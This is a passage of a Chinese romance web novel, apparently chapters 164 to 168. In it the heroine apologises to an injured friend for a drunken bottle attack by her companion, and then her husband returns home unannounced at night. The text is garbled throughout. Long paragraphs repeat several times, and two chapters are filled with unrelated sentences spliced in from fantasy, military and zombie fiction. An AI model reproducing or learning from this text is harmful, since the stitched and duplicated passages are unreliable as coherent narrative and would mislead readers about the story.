“当然了!”谢司喻毫不犹豫的点头,“对了,你怎么知道我在医院?都这个点了还过来看我?” 岑予衿这才想起正事儿,有些不好意思,“那个……我是来向你道歉的。” 是细水长流的安心和踏实。” 谢司喻静静听着,心里最后那点因为过去风波而生的担忧,也渐渐平息下去。 想起岑予衿从前那段纠葛,那时她像一根绷紧的弦,快乐总是短暂,焦虑和不确定却如影随形。 而现在,她整个人是松弛的,由内而外散发出一种被爱滋养的丰盈感。 “看来这次,你是真的找对人了。”谢司喻笑道,带着祝福的口吻,“什么天降孽缘,说不定都是为遇见正缘铺垫的。陆二少我以前还觉得他吊儿郎当,没想到还有这么靠谱的一面。能把我们岑大小姐宠成现在这样,算他有本事。” 岑予衿被他调侃得有些不好意思,但眼里的光彩却遮不住,“我也没想到。有时候缘分就是这么奇妙。” 她看向窗外明媚的阳光,轻声说,“以前觉得,熬过那些就是解脱。现在才明白,原来真正的幸福,不是逃离了什么,而是终于走向了什么。” 谢司喻顺着她的目光看去,阳光正好。 他想起半年前那场闹得满城风雨的婚礼,现在看来,那或许并非一个糟糕的结局,而是一个必要的新生。 “往前看就对了。”谢司喻拿起苹果,用力咬了一口,清脆作响,仿佛在为一个崭新的开始喝彩。 “过去的人和事,就让他们留在过去。你现在有陆京洲,有宝宝,有自己的新生活。我看得出来,你是真的开心。这就比什么都强。” 岑予衿收回目光,看向谢司喻,眼神清澈而坚定,“嗯,我很开心。也很珍惜现在的一切。” 病房里安静下来,只有苹果清甜的香气淡淡萦绕,“对了,陆京洲知道你的**了吗?他不会还以为自己老婆是周芙笙吧?” 说到这个岑予衿的脑袋就忍不住耷拉了下来,“还没有,我原本是想和他坦白的,以前总觉得爱得不够,不敢和他坦白,怕现在所拥有的一切都是梦。” “前几天好不容易鼓起了勇气要和他坦白,他却突然有事儿出国了,到现在都没回来呢,等她回来,我会找机会和她说清楚的。” 谢司喻点了点头,“夫妻之间还是没有秘密的好,等他回来,你找个机会跟他说清楚吧,如果真的像你所说的这样,我感觉他是真的喜欢你,跟你的身份无关。” 岑予衿都没什么把握,“真的吗?” “当然了!”谢司喻毫不犹豫的点头,“对了,你怎么知道我在医院?都这个点了还过来看我?” 岑予衿这才想起正事儿,有些不好意思,“那个……我是来向你道歉的。” 第165章 让她亲自来道歉 病房里弥漫着淡淡的消毒水气味,暖黄的床头灯在墙壁上投下一圈柔和的光晕。 岑予衿坐在病床前,声音里带着明显的歉意。 “谢司喻,我就是想来跟你好好说说……推你那个是我朋友苏乐言,我、我替她给你道个歉。” 她顿了顿,深吸一口气才继续说下去,“今晚的事,她真的不是故意的。她就是被吓坏了,又喝了点酒,脑子不清醒,才会……” “道歉?替你朋友?” 谢司喻原本还带着点温和笑意的脸慢慢淡了下来。 他眨了眨眼,那双平日里总是带着笑意的桃花眼此刻显得格外认真。 他微微偏过头,额头上缠着的白色纱布在灯光下格外刺眼。 “衿衿。”他声音放轻了些,语气却变得微妙起来,“她真是这么跟你说的?‘不是故意’、‘吓坏了’、‘脑子不清醒’?这几个词,概括得可真轻巧。” 岑予衿点头,急切地向前挪了小半步,“她跟我描述的时候,整个人都在发抖,非常慌乱和后悔。说她只是想躲开那个张总的纠缠,没想到酒泼到了你,后来又失手推了你一把……” “失手?” 谢司喻打断她,指了指自己额头的纱布,嘴角扯出一个哭笑不得的弧度,眼神里却满是无奈。 “我的岑大小姐,你是了解我的。我谢司喻虽然平时没个正形,爱玩爱闹,但也不至于分不清‘失手推一下’和‘被人拿着酒瓶子追着砸’的区别吧?” 他说话时微微动了动身子,似乎牵扯到了伤口,眉头轻轻皱了一下。 “酒……酒瓶子?”岑予衿愣住了,眼睛不由自主地睁大,“还追着打?” “对啊,”谢司喻叹了口气,缓缓调整了一下靠姿,将枕头垫高了些。 他的动作很慢,显然身上还有其他地方不舒服。 “来,我给你从头还原一下现场。” 他的语气里带着一种近乎荒诞的平静,“一开始呢,确实像她说的那样。我正好从包厢出来透气,看见她被个老色鬼堵在走廊拐角,那男的手都快搭她肩上了。她手里拿着杯酒,一直在往后退。我看着怪可怜的,正想着要不要过去解个围。” 他停顿了一下,眼神飘向天花板,像是在回忆那混乱的一幕。 “结果还没等我迈步,她突然一个转身,手里的酒‘哗啦’全泼出来了。好巧不巧,我成了那个倒霉的‘背景板’,衬衫湿了一大片。” 谢司喻低头看了看自己身上换过的病号服,摇摇 头,“我当时心想,算了,小姑娘遇到这事儿不容易,吓坏了也正常,别计较了。” 岑予衿屏住呼吸听着。 “接着她就摇摇晃晃的,看起来真要倒了。我还好心想着扶一把,怕她摔着磕着。” 谢司喻说到这里,脸上露出一种接下来才是重点的表情,还特意做了个伸手的动作,“我这‘**之手’刚伸过去,好家伙。” 他拖长了音调,目光转向岑予衿,“她不知道从哪儿摸出来个空酒瓶,眼神那叫一个‘杀气腾腾’,我都看见她眼眶红了,嘴里还念叨着什么‘渣男**’、‘都欺负我’之类的。” 谢司喻摇了摇头,语气里带着无奈的理解,“结合着她是你朋友苏乐言,我已经能猜出来大概了,铁定是周时越对,你干的那些混账事儿,把她人气成这样。但问题在于,当时她眼前估计就我这张英俊的脸最显眼,抡起瓶子就冲我招呼过来了!” 岑予衿听得瞪大了眼睛,手指紧紧攥住了包带。 “我躲得快,瓶子没砸着脑袋,‘砰’一声砸我右肩上了。” 谢司喻用左手比划了一下右肩的位置,“瓶子当场就碎了,玻璃碴子‘哗啦啦’崩我一身。我到现在都记得那声音……脆生生的,跟放鞭炮似的。” 他苦笑着,眼里却没有多少笑意,“然后她还不罢休啊,弯下腰还想捡地上的碎片!我这不得拦着吗?万一她划伤自己,或者伤着别人,那更麻烦。我就赶紧上前一步,想按住她的手。” 谢司喻说到这里,表情变得复杂起来,“结果就在我挡那一下的时候,脚下不知道绊到什么,可能是碎玻璃,也可能是她自己掉的东西,我往后一退,‘哐当’一声,就跟后面那装饰用的铜架子来了个亲密接触。” 他轻轻碰了碰额头的纱布,动作很小心,“喏,这就是亲密接触的勋章。当时血‘唰’就下来了,糊了我半张脸。” 岑予衿已经说不出话了,脸色微微发白。 这和她从苏乐言那里听到的版本,只是一场慌乱中的意外推搡……差距太大了。 “这还没完呢,”谢司喻继续说着,语气里带着点委屈巴巴的夸张,但眼神却是认真的,“我撞得晕头转向,眼前一阵阵发黑,血顺着脸颊往下滴,我只能靠着旁边的桌子勉强站稳。你那好闺蜜呢?” 他看向岑予衿,一字一句地说,“她看到血,非但没吓清醒,反而更……激动了?她冲过来不是扶我,是推我!一边推还一边喊‘让你们都是一伙的’、‘男人没一个好东西’!” 谢司喻做了个被推的动作,“我本来就晕乎,站都站不稳,被她那么一推,整个人往后仰,后脑勺又‘咚’一声磕桌沿上了……得,伤上加伤。我当时脑子里就一个念头:我这是招谁惹谁了?” 他摊了摊手,做出一个“我好冤”的表情,但因为牵扯到伤口,这动作做得有些僵硬。 “所以,岑大小姐,”谢司喻的声音低了下来,带着疲惫,“你说她‘不是故意推我’,从她抡酒瓶那一刻起,她就已经不是‘失手’了。她那是酒精上头,加上对周时越的怨气没处发,把我当成了出气筒兼替罪羊。” 他沉默了几秒,病房里只有仪器轻微的滴答声和窗外隐约传来的城市夜声。 “我谢司喻长这么大,头一回被人这么‘重点关照’。平时打架**我也不是没经历过,但都是明明白白的冲突。这种……” 他寻找着合适的词,“这种被当成情绪泄洪口的体验,还是以这么充满戏剧性的方式,真是头一遭。” 病房里彻底安静下来。谢司喻靠在床头,平日里那股跳脱的生气被病容取代。 他脸色有些苍白,眼下有淡淡的青影,额头的纱布边缘隐约透出一点淡黄色……应该是药渍。 岑予衿脸上火辣辣的,为自己之前听信片面之词就匆匆来道歉感到尴尬,更为苏乐言隐瞒如此严重的行为而心惊。 她张了张嘴,声音有些干涩,“对不起,司喻,我真的不知道具体是这样的……她只跟我说了前半部分,说是不小心泼了酒,然后在推搡中害你撞到了。后面这些……” “后面这些,她大概觉得没法说,或者不敢说吧。” 谢司喻扯了扯嘴角,这次的笑容很淡,几乎看不见,“酒精和情绪不是伤害别人的理由。我理解她可能遇到了糟心事,但这不是她对一个陌生人动手的理由。” 他看向岑予衿,眼神认真了些,“我这次运气好,医生说是皮肉伤加轻微脑震荡,观察两天没事就能出院。但是……” 他加重了语气,“要是运气差点呢?要是磕到后脑的力道再重一点?或者她手里的酒瓶砸实了,砸在头上、脸上?衿衿,这些后果,她当时想过吗?” 岑予衿低下头,手指攥得发白。 谢司喻看她这样,语气缓和了些,“看在咱们认识这么多年,你又是真心过来看我的份上,刚才你说的道歉,我收下前半截,为了那杯泼过来的酒和最开始可能存在的误会。我接受这个部分的道歉。” 他顿了顿,声音平稳而清晰:“但后面这些,抡酒瓶、 追着打、见血了还推人,这些,得她苏乐言自己来。带着她该有的态度,清醒地、诚实地,把整件事说清楚。我不是不讲道理的人,事情的前因后果我都能理解,但也得看对方讲不讲道理。” 谢司喻指了指床头柜上的文件夹,“我的伤情报告在这儿摆着。酒吧的监控估计也能调出来,虽然走廊那段可能光线不好,但大致应该能看清。这件事怎么处理,等她亲自来了,我们再谈。” 他揉了揉太阳穴,露出明显的疲惫神色,眼皮都有些沉重了。 “好了,我这倒霉蛋需要休息了。大晚上的,辛苦你跑一趟了。”他朝门口方向轻轻抬了抬下巴。 “少爷,该吃药了。”老刘轻声说,然后对岑予衿礼貌地点点头,“岑小姐。” 岑予衿知道多说无益,只能再次郑重地鞠了一躬,“对不起,真的对不起。我会让她自己来道歉的,一定。” 谢司喻已经闭上了眼睛,只是轻轻“嗯”了一声。 岑予衿心情复杂地转身往外走。走到门口,她忍不住回头看了一眼。 暖黄的灯光勾勒出谢司喻安静的侧脸,平日里总是带笑上扬的嘴角此刻平缓地抿着,额上刺眼的纱布在柔和光线下依然醒目。 他的睫毛在眼下投出一小片阴影,呼吸渐渐均匀,像是真的累了。 这个总是活力四射、爱开玩笑的人,此刻躺在病床上,显得格外单薄。 “你自己注意休息,”岑予衿轻声说,声音在安静的病房里很清晰,“过几天阿洲回来了,我请你吃饭……就当赔罪。” 病床上的人眼睛没睁开,但嘴角似乎弯了一下。 “你说的嗷。”谢司喻的声音带着睡意,含糊却清晰,“我要吃最贵的补回来……记账上了……” “没问题!” 追着打、见血了还推人,这些,得她苏乐言自己来。带着她该有的态度,清醒地、诚实地,把整件事说清楚。我不是不讲道理的人,事情的前因后果我都能理解,但也得看对方讲不讲道理。” 谢司喻指了指床头柜上的文件夹,“我的伤情报告在这儿摆着。酒吧的监控估计也能调出来,虽然走廊那段可能光线不好,但大致应该能看清。这件事怎么处理,等她亲自来了,我们再谈。” 他揉了揉太阳穴,露出明显的疲惫神色,眼皮都有些沉重了。 “好了,我这倒霉蛋需要休息了。大晚上的,辛苦你跑一趟了。”他朝门口方向轻轻抬了抬下巴。 “少爷,该吃药了。”老刘轻声说,然后对岑予衿礼貌地点点头,“岑小姐。” 岑予衿知道多说无益,只能再次郑重地鞠了一躬,“对不起,真的对不起。我会让她自己来道歉的,一定。” 谢司喻已经闭上了眼睛,只是轻轻“嗯”了一声。 岑予衿心情复杂地转身往外走。走到门口,她忍不住回头看了一眼。 暖黄的灯光勾勒出谢司喻安静的侧脸,平日里总是带笑上扬的嘴角此刻平缓地抿着,额上刺眼的纱布在柔和光线下依然醒目。 他的睫毛在眼下投出一小片阴影,呼吸渐渐均匀,像是真的累了。 这个总是活力四射、爱开玩笑的人,此刻躺在病床上,显得格外单薄。 “你自己注意休息,”岑予衿轻声说,声音在安静的病房里很清晰,“过几天阿洲回来了,我请你吃饭……就当赔罪。” 病床上的人眼睛没睁开,但嘴角似乎弯了一下。 “你说的嗷。”谢司喻的声音带着睡意,含糊却清晰,“我要吃最贵的补回来……记账上了……” “没问题!” 追着打、见血了还推人,这些,得她苏乐言自己来。带着她该有的态度,清醒地、诚实地,把整件事说清楚。我不是不讲道理的人,事情的前因后果我都能理解,但也得看对方讲不讲道理。” 谢司喻指了指床头柜上的文件夹,“我的伤情报告在这儿摆着。酒吧的监控估计也能调出来,虽然走廊那段可能光线不好,但大致应该能看清。这件事怎么处理,等她亲自来了,我们再谈。” 他揉了揉太阳穴,露出明显的疲惫神色,眼皮都有些沉重了。 “好了,我这倒霉蛋需要休息了。大晚上的,辛苦你跑一趟了。”他朝门口方向轻轻抬了抬下巴。 “少爷,该吃药了。”老刘轻声说,然后对岑予衿礼貌地点点头,“岑小姐。” 岑予衿知道多说无益,只能再次郑重地鞠了一躬,“对不起,真的对不起。我会让她自己来道歉的,一定。” 谢司喻已经闭上了眼睛,只是轻轻“嗯”了一声。 岑予衿心情复杂地转身往外走。走到门口,她忍不住回头看了一眼。
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“好了,我这倒霉蛋需要休息了。大晚上的,辛苦你跑一趟了。”他朝门口方向轻轻抬了抬下巴。 “少爷,该吃药了。”老刘轻声说,然后对岑予衿礼貌地点点头,“岑小姐。” 岑予衿知道多说无益,只能再次郑重地鞠了一躬,“对不起,真的对不起。我会让她自己来道歉的,一定。” 谢司喻已经闭上了眼睛,只是轻轻“嗯”了一声。 岑予衿心情复杂地转身往外走。走到门口,她忍不住回头看了一眼。 暖黄的灯光勾勒出谢司喻安静的侧脸,平日里总是带笑上扬的嘴角此刻平缓地抿着,额上刺眼的纱布在柔和光线下依然醒目。 他的睫毛在眼下投出一小片阴影,呼吸渐渐均匀,像是真的累了。 这个总是活力四射、爱开玩笑的人,此刻躺在病床上,显得格外单薄。 “你自己注意休息,”岑予衿轻声说,声音在安静的病房里很清晰,“过几天阿洲回来了,我请你吃饭……就当赔罪。” 病床上的人眼睛没睁开,但嘴角似乎弯了一下。 “你说的嗷。”谢司喻的声音带着睡意,含糊却清晰,“我要吃最贵的补回来……记账上了……” “没问题!” 追着打、见血了还推人,这些,得她苏乐言自己来。带着她该有的态度,清醒地、诚实地,把整件事说清楚。我不是不讲道理的人,事情的前因后果我都能理解,但也得看对方讲不讲道理。” 谢司喻指了指床头柜上的文件夹,“我的伤情报告在这儿摆着。酒吧的监控估计也能调出来,虽然走廊那段可能光线不好,但大致应该能看清。这件事怎么处理,等她亲自来了,我们再谈。” 他揉了揉太阳穴,露出明显的疲惫神色,眼皮都有些沉重了。 “好了,我这倒霉蛋需要休息了。大晚上的,辛苦你跑一趟了。”他朝门口方向轻轻抬了抬下巴。 “少爷,该吃药了。”老刘轻声说,然后对岑予衿礼貌地点点头,“岑小姐。” 岑予衿知道多说无益,只能再次郑重地鞠了一躬,“对不起,真的对不起。我会让她自己来道歉的,一定。” 谢司喻已经闭上了眼睛,只是轻轻“嗯”了一声。 岑予衿心情复杂地转身往外走。走到门口,她忍不住回头看了一眼。 暖黄的灯光勾勒出谢司喻安静的侧脸,平日里总是带笑上扬的嘴角此刻平缓地抿着,额上刺眼的纱布在柔和光线下依然醒目。 他的睫毛在眼下投出一小片阴影,呼吸渐渐均匀,像是真的累了。 这个总是活力四射、爱开玩笑的人,此刻躺在病床上,显得格外单薄。 “你自己注意休息,”岑予衿轻声说,声音在安静的病房里很清晰,“过几天阿洲回来了,我请你吃饭……就当赔罪。” 病床上的人眼睛没睁开,但嘴角似乎弯了一下。 “你说的嗷。”谢司喻的声音带着睡意,含糊却清晰,“我要吃最贵的补回来……记账上了……” “没问题!” 追着打、见血了还推人,这些,得她苏乐言自己来。带着她该有的态度,清醒地、诚实地,把整件事说清楚。我不是不讲道理的人,事情的前因后果我都能理解,但也得看对方讲不讲道理。” 谢司喻指了指床头柜上的文件夹,“我的伤情报告在这儿摆着。酒吧的监控估计也能调出来,虽然走廊那段可能光线不好,但大致应该能看清。这件事怎么处理,等她亲自来了,我们再谈。” 他揉了揉太阳穴,露出明显的疲惫神色,眼皮都有些沉重了。 “好了,我这倒霉蛋需要休息了。大晚上的,辛苦你跑一趟了。”他朝门口方向轻轻抬了抬下巴。 “少爷,该吃药了。”老刘轻声说,然后对岑予衿礼貌地点点头,“岑小姐。” 岑予衿知道多说无益,只能再次郑重地鞠了一躬,“对不起,真的对不起。我会让她自己来道歉的,一定。” 谢司喻已经闭上了眼睛,只是轻轻“嗯”了一声。 岑予衿心情复杂地转身往外走。走到门口,她忍不住回头看了一眼。 暖黄的灯光勾勒出谢司喻安静的侧脸,平日里总是带笑上扬的嘴角此刻平缓地抿着,额上刺眼的纱布在柔和光线下依然醒目。 他的睫毛在眼下投出一小片阴影,呼吸渐渐均匀,像是真的累了。 这个总是活力四射、爱开玩笑的人,此刻躺在病床上,显得格外单薄。 “你自己注意休息,”岑予衿轻声说,声音在安静的病房里很清晰,“过几天阿洲回来了,我请你吃饭……就当赔罪。” 病床上的人眼睛没睁开,但嘴角似乎弯了一下。 “你说的嗷。”谢司喻的声音带着睡意,含糊却清晰,“我要吃最贵的补回来……记账上了……” “没问题!” 第一卷 第166章 他得回国了 走廊里的白炽灯明亮得有些刺眼。 她靠在紧闭的病房门上,深吸了几口气,才从包里掏出手机。 屏幕上,苏乐言二十分钟前发来的消息还亮着,“衿衿,怎么样?他接受道歉了吗?我真的不是故意的,你帮我说说好话……” 叶东来懵懵懂懂,纵横江湖一辈子了,可是见到白前辈,叶帅老觉得自己的智商有点跟不上。 华宇笑了笑,拱了拱手,转身就这么离开了,既不驾驭灵器,也不展开身法,就这么一步一步的,向着自己的来处而去。 “四太子,自作孽,不可活!既然你迷信于开天弓,那我就在此接你一箭,让你彻底的绝望!”杨易神色古井无波,无边的魂力散发而出,整个东方城周围完全在他的魂力笼罩之下,宛如异度空间。 你有妈么?一句几乎可以当成是骂街的话,倒是把崔娘子给问得黯然神伤。 “这也正是我想不通的一点,大哥,你怎么说?”鲁炎硕又是问道。 没一会儿,夜寻欢,露娜和妮卡三人走了出来,这二十名大金骑兵齐齐竖起手中锃亮的骑士枪行礼。 “大贤者,你不是说在恐怖地渊里碰到了一位九星神牧师吗?莫非是这牧师做的?”一位长老说道。 “笑话,你可以带我熟悉一下业务,绝对不可以支配我。”洛千帆明明白白地说道,冷笑一声,起身欲走。 “不可以有。我的第一次,要留给我未来老公的。”苏嫣然说道。 他有一种感觉,那就是眼前的这个世界,可能是自己的一次契机,走出去了,很有可能就是进化为至尊,但是如果无法走出去,就很有可能会被永远困在这里。 与此同时,冷飕飕的夜风吹了过来,更是让他感觉到了一种刺骨的寒冷。 一连有九名副城主燃烧起了自己的血气,分别想着自己周围的天界战士们杀去。 “真的是他。可是夭夭怎么没有回来?”男子看的更仔细,利剑一般的眉毛蹙了起来。 而后让张虎感到绝望的一幕出现了,只见萧问伸手入腰,愣是从那麻布裤衩的腰带下捏出了一枚绿sè丹药来。这一回他绝对看清楚了,那枚丹药就塞在了那里,而不是像其他仙器一样凭空变出来的。 “那是自然,在下这次来丹凤城最主要的目的便是找合适的道基仙法。”萧问认真地道。 但丈丑丑最不明白的是,适才众人搜遍整间屋子,却没发现了半条人影,此刻屋内除了他们这批天下门众之外,还会有谁? 在梦身后的聂风骤闻此语,不由处眉目一蹩,他没料到,五夜在梦醒过来后,忽然说出一番这样的话。 “放心吧,他可以的,你弟弟你还不了解么,给个机会发泄一下”姑姑的气场依旧如故,在场的人起了一地的鸡皮疙瘩,好冷。 郭昕大元帅、岳震霖大元帅都觉得此计甚妙,就这样一切按照忠义良猴的战前安排,郭昕大元帅在中军大帐中随同怀志大师一起守株待兔,做好了围歼龙兽妖的准备。 这古煞龙便施展出来一身本领与神武张霖展开激战厮杀,结果大战上百回合竟然拿不下张霖。这个时候义军得知大首领有难,便纷纷前来支援。这才使得山神爷和土地爷全部回防相助。 第一卷 第167章 觉得他和陆京洲很像 岑予衿也和医院积极沟通治疗方案。 可是没有半点作用。 那个男人…… 有点赖上自己的感觉了。 黑岩为了这次大战,足足准备1300架投石机,我每日调动300架,日夜不间断的连续砸过去,别管能砸死多少人,只要能护住这些投石机,那就先砸上7天。 云瑶没有说话,拿出来了自己的玉玺,是个正方向,上面雕刻着一只凤凰,看起来栩栩如生。 可苏迪怎么都没有想到,和唐嫣以及罗欣坐在一起的那个男人,却将他今天晚上的好心情全部都给破坏掉了。 墨染尘唇边有一丝笑意,抬道阔步离开,留下应轶一人独自捶胸顿足。 这个场景让黄玄灵看得大为感叹,感叹自己的幸运,拜了长风老祖为师。使得自己在修真界的起点比起这些散修来要高了很多。 「陛下所言甚是。」许敬宗听了也点点头,这件事情放在他自己身上,肯定也是如此,不怕一万,就怕万一,谁知道那些刺客还会不会找李景辽的麻烦,既然如此,还不如让李景辽躲在钦差行辕之中。 一团火焰炸开,深渊者丧尸被突如其来的打击,炸的一个趔趄半跪在地面上,这时刘建国的狙击者攻击也到了,半跪中的深渊者丧尸胸前被强力穿甲弹击中,巨大的动能将它掀翻在地上。 就以孔雀一族桑树所结八十一果而论,每一果均有名姓,在族中承载着极为重大的机密用途。 于是这一帮人根本不顾那五头气势汹汹扑杀过来的武圣后期异兽人,而是集中全力,继续对那剩下的十几头异兽人进行绞杀,争取在那五头武圣后期的异兽人来临之前,多杀一些异武圣级别的兽人。 那男人却执意不肯离去,并有些恼怒,竟然伸手向陈雪蓉推去,哪知还未推到人,便被一只强而有力的手握住了手腕。 突然的变故,让慕容落羽有些不知所措,他的衣物不知不觉被一股强大的力量撕的粉碎,哪怕此刻他已是聚灵境中期巅峰的修为,任然毫无反抗之力,不由禁闭双眸,感受那突如其来的温暖。 慕容落羽顿时心情激动的难以附加,或许是幸福来的太过突然,让他丝毫没有心里准备,此刻激动的难以自己。 风无情些目瞪口呆的看着狼人队伍中抬出一个巨大的铁锚!不知道是从哪得来的,或者是捡来的。 看着手中的一块再普通不过的石头,风尘,突然一下子,什么都明白了。 “你放心吧!我虽然相貌丑陋一些,但绝不是坏人。”陶洪志语气温和,加以解释,这是想让司机专心驾驶,免得跟丢目标或是发生车祸。 自打徐市也躲进了自己的私界中,秦一白盘膝座在太墟飞船内运行锻体功诀已不知有多少年头。星空中本就是锻体功诀最易突破的地方,而现在又有大把的时间无法消遣,所以他也只有把时间花在行功之上了。 在晋王和其他人的操控下,天衣卫中的一场大清洗就此掀开。晋王显然是知道了天衣卫皇主以及其他轮回应后期强者陨落的消息,连同其他人开始对天衣卫出手,不过十天的时间,便将天衣卫翻了遍新。 第168章 陆京洲回国 岑予衿看着他被陈叔小心护着送上车的背影,直到车子驶出檀月山庄的大门,消失在林荫道的尽头,才缓缓舒出一口气。 心里那点悬着的不安和隐约的不忍,似乎随着车影一同远去了。 她揉了揉有些发胀的太阳穴,转身回到主楼。 这样安排,对谁都好。 她是这么告诉自己。 傍晚时分,她独自坐在餐厅用了晚餐。 少了那个总是安静待在角落,却又存在感十足的身影,偌大的餐厅似乎显得格外空旷。 夜幕降临,岑予衿回到卧室洗漱。 温热的水流冲去疲惫,她换上柔软的丝绸睡裙,护完肤,吹干了头发。 镜子里映出一张清丽却带着些许倦意的脸,小腹已经有了明显的隆起弧度。 她拿起床头柜上的手机,屏幕干净,没有未接来电,也没有新消息提醒。 陆京洲那边依旧沉寂。 她点开聊天框,下午发送的那条长消息孤零零地躺在那里,一点消息都没有。 心里那丝细微的不安又冒了出来。 这不是陆京洲的风格。 即便再忙,他也会抽空回复她一个字,让她安心。 或许……是在飞机上? 或者遇到了信号极差的地方? 又或者,他那边的事情,远比她想象的更棘手、更耗费心神? 岑予衿不愿往坏处想,她将手机放回原处,关掉大灯,只留一盏昏黄的壁灯。 躺进柔软的大床,习惯性地摸了摸身旁空荡荡的位置,心里空落落的。 自从怀孕,尤其是陆京洲出国后,她睡眠一直很浅。 不知过了多久,她才在一种混杂着担忧和疲惫的情绪中,迷迷糊糊地睡着。 夜深人静,檀月山庄沉浸在静谧的黑暗里,只有窗外风吹过树叶的沙沙声。 “咔哒……” 一声极其轻微、几乎与风声融为一体的响声,从卧室门的方向传来。 那声音轻得如同幻觉,仿佛只是门锁在夜间热胀冷缩的微响。 床上的岑予衿在睡梦中微微蹙了蹙眉,并未醒来。 门,被无声地推开一道缝隙。 一道高大挺拔、裹挟着深夜寒气和风尘仆仆气息的身影,悄无声息地闪了进来。 他没有开灯,借着窗外透进的朦胧月光,目光精准地、贪婪地锁定了床上那个微微隆起的身影。 连日奔波的疲惫刻在他深邃的眼眸和紧抿的唇角,但在 看到她的瞬间,那紧绷的线条似乎都柔和了些许。 他轻轻合上门,动作熟练地将外套脱下,随意搭在旁边的单人沙发上,然后解开衬衫最上面的两颗纽扣,走向床边。 他俯身,就着微弱的光线,仔细端详着岑予衿的睡颜。 她似乎睡得并不安稳,睫毛轻轻颤动,嘴唇微微抿着。 他的目光落在她明显隆起的小腹上,眼神瞬间柔软得不可思议,同时又掺杂着浓重的心疼和歉意。 他伸出手,指尖极轻地拂过她散落在枕边的发丝,又小心翼翼地将手掌覆在她的小腹上。 睡梦中的岑予衿似乎感觉到了熟悉的温度和触碰,无意识地轻轻哼了一声,侧了侧身,脸朝着他的方向蹭了蹭。 这个依赖的小动作,让陆京洲的心口像是被什么东西狠狠撞了一下,酸涩又滚烫。 他不再犹豫,动作极其轻柔地掀开被子一角,躺了进去,小心翼翼地将岑予衿连同被子一起,轻轻揽入怀中。 他的手臂环过她的腰身,手掌依旧轻柔地覆在她的小腹上,下巴轻轻抵着她的发顶,嗅着她发间熟悉的馨香。 连日来的奔波劳顿、寻找无果的焦躁、以及对她和孩子刻骨的思念,在这一刻似乎都得到了安抚。 他回来了。 终于,回到了她的身边。 然而,就在陆京洲刚刚放松心神,准备拥着入眠怀里的小妻子睡觉。 岑予衿的身体却猛地一僵! 她像是从噩梦中惊醒,又像是感应到了什么极致的危险,喉咙里溢出一声短促而惊恐的吸气声,眼睛在黑暗中骤然睁开,瞳孔因为极度的惊骇而放大。 “谁?!”她失声惊叫,身体本能地剧烈挣扎起来,双手胡乱地向后推搡,腿也下意识地蹬踹,“放开我!救命!” “笙笙!笙笙!老婆,是我!”陆京洲也被她突如其来的剧烈反应惊到,但他反应极快,立刻收紧手臂将她更稳地固在怀里,同时低沉而急切地在她耳边唤道,试图唤醒她被恐惧占据的意识,“别怕,是我,阿洲!我回来了!” 熟悉的声音,带着夜色的微哑和不容错辨的急切,如同惊雷般劈入岑予衿混乱的脑海。 挣扎的动作猛然顿住。 她急促地喘息着,身体因为后怕而微微发抖,僵硬地转过头,在昏暗的光线中,难以置信地看向近在咫尺的那张脸。 棱角分明的下颌,高挺的鼻梁,深邃的眼眸……即使在模糊的光线下,那轮廓也早已刻入她的骨髓。 “阿 ……阿洲?”她的声音颤抖得不成样子,带着劫后余生的茫然和不确定,眼泪毫无预兆地涌了上来。 “真的是你?你……你怎么……你什么时候回来的?你不是在国外吗?我打你电话你也不接,发消息也不回,我以为……”她语无伦次,委屈、惊吓、还有骤然放松后席卷而来的虚弱感让她几乎说不出完整的句子。 陆京洲的心被她这副样子狠狠揪疼了。 他一边更紧地抱住她,用体温和坚实的怀抱给她安全感,一边不停地亲吻她的额头、脸颊,安抚着她仍在轻颤的身体,“是我,真的是我。对不起,笙笙,对不起……临时决定提前回来,想给你个惊喜,飞机上信号不好,落地又急着赶回来,没来得及看手机……吓到你了,是我不好,都是我的错……” 他一声声地道歉,耐心地解释,温热的气息拂过她的耳畔,熟悉的味道和触感终于一点点驱散了岑予衿心头的惊悸。 紧绷的神经松懈下来,巨大的委屈和后怕却如潮水般将她淹没。 她再也忍不住,埋进他怀里,“哇”地一声哭了出来,拳头没什么力气地捶打着他坚实的胸膛。 “你吓死我了……我以为……我以为有坏人……你怎么能这样……你知不知道我有多担心……” 她哭得上气不接下气,把所有因为他失联而积压的焦虑,还有刚才那瞬间魂飞魄散的恐惧,全都化作眼泪倾泻出来。 陆京洲任由她捶打发泄,只是紧紧抱着她,大手一遍遍抚过她的后背,吻去她脸上的泪水,声音是前所未有的温柔和心疼:“我知道,我知道……是我不好,是我考虑不周。不哭了,笙笙,不哭了,我回来了,以后都不会这样了……” 哭了许久,岑予衿的情绪才慢慢平复下来,只剩下偶尔的抽噎。 她赖在他怀里,感受着他真实的心跳和体温,悬了许久的心终于彻底落了地。 “你怎么突然回来了?”她吸了吸鼻子,声音还带着浓重的鼻音,“傅聿琛……找到了吗?” 陆京洲沉默了片刻,将她搂得更紧了些,下巴蹭了蹭她的发顶,声音低沉,“有一点线索,指向国内。我不放心你一个人在家,就先回来了。具体的事情,明天再说。现在,你什么都别想,乖乖睡觉。” 他避重就轻,没有细说。 岑予衿此刻身心俱疲,也顾不上追问细节,只是在他怀里找了个最舒服的姿势,紧紧贴着他。 “阿洲……”她闭着眼睛,小声呢喃,“你要是再出国,带上我吧。” “好。”陆京洲吻了吻她的发心,郑重承诺,“我带你一起。” 卧室重新归于宁静,只余下两人交缠的呼吸声。 窗外的月光似乎也变得温柔起来,静静流淌在相拥而眠的两人身上。 岑予衿知道他从那么远的地方回来也累了,并没有再多说什么,往他怀里缩了缩。 她有好多好多好多事情要告诉他! 包括……自己出车祸撞了个男人,养在外面。 ……阿洲?”她的声音颤抖得不成样子,带着劫后余生的茫然和不确定,眼泪毫无预兆地涌了上来。 “真的是你?你……你怎么……你什么时候回来的?你不是在国外吗?我打你电话你也不接,发消息也不回,我以为……”她语无伦次,委屈、惊吓、还有骤然放松后席卷而来的虚弱感让她几乎说不出完整的句子。 陆京洲的心被她这副样子狠狠揪疼了。 他一边更紧地抱住她,用体温和坚实的怀抱给她安全感,一边不停地亲吻她的额头、脸颊,安抚着她仍在轻颤的身体,“是我,真的是我。对不起,笙笙,对不起……临时决定提前回来,想给你个惊喜,飞机上信号不好,落地又急着赶回来,没来得及看手机……吓到你了,是我不好,都是我的错……” 他一声声地道歉,耐心地解释,温热的气息拂过她的耳畔,熟悉的味道和触感终于一点点驱散了岑予衿心头的惊悸。 紧绷的神经松懈下来,巨大的委屈和后怕却如潮水般将她淹没。 她再也忍不住,埋进他怀里,“哇”地一声哭了出来,拳头没什么力气地捶打着他坚实的胸膛。 